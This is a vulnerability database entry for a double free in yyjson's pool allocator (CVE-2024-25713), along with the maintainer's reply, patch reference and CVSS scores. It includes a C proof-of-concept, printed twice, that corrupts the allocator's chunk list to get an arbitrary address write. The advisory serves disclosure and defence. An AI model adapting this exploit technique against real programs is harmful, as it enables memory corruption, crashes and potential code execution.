GHSA-WHX6-M9J4-W2M2

Vulnerability from github – Published: 2024-02-29 03:33 – Updated: 2025-11-05 00:31
VLAI?
Summary
yyjson has a Double Free vulnerability
Details

Summary

The pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks. Arbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.

Details

The core cause of this vulnerability lies in the pool_free function's lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.

PoC

Below, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk's next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.

#include <stdio.h>
#include "yyjson.h"

char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;

int main() {

    size_t max_json_size = 64 * 1024;

    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);

    void *buf = malloc(buf_size);

    yyjson_alc alc;
    yyjson_alc_pool_init(&alc, buf, buf_size);

    yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
    yyjson_mut_arr(p2);

    yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);

    yyjson_mut_doc_free(p2);
    yyjson_mut_doc_free(p2); // double free
    yyjson_mut_doc_free(p1);

    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;


    for(int i=0;i<0x100;i++)test[i]= 'a';
    test[0x100]='\00';
    char *payload_f = "[%lld,43981]";

    char payload[100];
    sprintf(payload,payload_f,&a);
    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);

    yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
    yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
    for(int z=1;z<=100;z++)
    yyjson_mut_int(p8,0x63636363);

    printf("%s",test);
    free(buf);
    return 0;
}

Impact

What kind of vulnerability is it? Who is impacted?

Note from yyjson

yyjson_mut_doc_free() is well-documented: https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093

/** Release the JSON document and free the memory.
    After calling this function, the `doc` and all values from the `doc` are no
    longer available. This function will do nothing if the `doc` is NULL.  */
void yyjson_mut_doc_free(yyjson_doc *doc);

If you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid. Any further operation on the doc or its values is undefined behavior.

While this is not a bug in yyjson itself, a defensive patch has been provided: 0eca326 If you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation, this patch will cause your program to crash immediately, alerting you to the incorrect usage.

Severity ?
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "SwiftURL",
        "name": "github.com/ibireme/yyjson"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-29T18:04:24Z",
    "nvd_published_at": "2024-02-29T01:44:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe pool series allocator (pool_malloc/pool_free/pool_realloc) by yysjon has a Double Free vulnerability, which may lead to arbitrary address writing and Denial of Service (DoS) attacks.\nArbitrary address writing, combined with other legitimate or illegitimate operations of programs using this library, can lead to remote code execution.\n\n### Details\n\nThe core cause of this vulnerability lies in the pool_free function\u0027s lack of loop checks, while the direct cause stems from the pool_free function and similar free-series functions not performing pointer destruction, resulting in Use-After-Free (UAF) vulnerabilities.\n\n### PoC\n\nBelow, a C language program using yyjson 0.8.0 is written to show how to exploit a Double Free vulnerability to cause chunk overlaps, which then allows the modification of a chunk\u0027s next pointer to point to an arbitrary address. If the targeted address is valid, modifications can be made. However, if the address is invalid, it could lead to the program crashing, which could be exploited for a Denial of Service (DoS) attack. Additionally, constructing a cyclic chain of chunks could force the service into an infinite loop, also exploitable for a DoS attack.\n\n```\n#include \u003cstdio.h\u003e\n#include \"yyjson.h\"\n\nchar test[0x110];\nint64_t a=0xffffffff;\nint64_t b= (int64_t) test;\n\nint main() {\n\n    size_t max_json_size = 64 * 1024;\n\n    size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);\n\n    void *buf = malloc(buf_size);\n\n    yyjson_alc alc;\n    yyjson_alc_pool_init(\u0026alc, buf, buf_size);\n\n    yyjson_mut_doc *p1 = yyjson_mut_doc_new(\u0026alc);\n    yyjson_mut_doc *p2 = yyjson_mut_doc_new(\u0026alc);\n    yyjson_mut_arr(p2);\n\n    yyjson_mut_doc *p3 = yyjson_mut_doc_new(\u0026alc);\n\n    yyjson_mut_doc_free(p2);\n    yyjson_mut_doc_free(p2); // double free\n    yyjson_mut_doc_free(p1);\n\n    yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;\n\n\n    for(int i=0;i\u003c0x100;i++)test[i]= \u0027a\u0027;\n    test[0x100]=\u0027\\00\u0027;\n    char *payload_f = \"[%lld,43981]\";\n\n    char payload[100];\n    sprintf(payload,payload_f,\u0026a);\n    yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,\u0026alc,NULL);\n\n    yyjson_mut_doc *p5 = yyjson_mut_doc_new(\u0026alc);\n    yyjson_mut_doc *p6 = yyjson_mut_doc_new(\u0026alc);\n    yyjson_mut_doc *p7 = yyjson_mut_doc_new(\u0026alc);\n    yyjson_mut_doc *p8 = yyjson_mut_doc_new(\u0026alc);\n    for(int z=1;z\u003c=100;z++)\n    yyjson_mut_int(p8,0x63636363);\n\n    printf(\"%s\",test);\n    free(buf);\n    return 0;\n}\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\n## Note from yyjson\nyyjson_mut_doc_free() is well-documented:\nhttps://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093\n\n```\n/** Release the JSON document and free the memory.\n    After calling this function, the `doc` and all values from the `doc` are no\n    longer available. This function will do nothing if the `doc` is NULL.  */\nvoid yyjson_mut_doc_free(yyjson_doc *doc);\n```\nIf you have already called yyjson_mut_doc_free() on a doc, the doc and its internal values are invalid.\nAny further operation on the doc or its values is undefined behavior.\n\nWhile this is not a bug in yyjson itself, a defensive patch has been provided: [0eca326](https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e)\nIf you mistakenly call yyjson_mut_doc_free() twice on the same doc against the documentation,\nthis patch will cause your program to crash immediately, alerting you to the incorrect usage.",
  "id": "GHSA-whx6-m9j4-w2m2",
  "modified": "2025-11-05T00:31:17Z",
  "published": "2024-02-29T03:33:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ibireme/yyjson/security/advisories/GHSA-q4m7-9pcm-fpxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25713"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ibireme/yyjson/commit/0eca326fe57aeeb866e6f04c9ef9ea9f8343157e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ibireme/yyjson"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6KQ67T4R7QEWURW5NMCCVLTBASL4ECHE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NNICQVIF7BRYFWYRL3HPVAJIPXN4OVTX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TKQPEREDUDKGYJMFNFDQVYCVLWDRO2Y2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "yyjson has a Double Free vulnerability"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.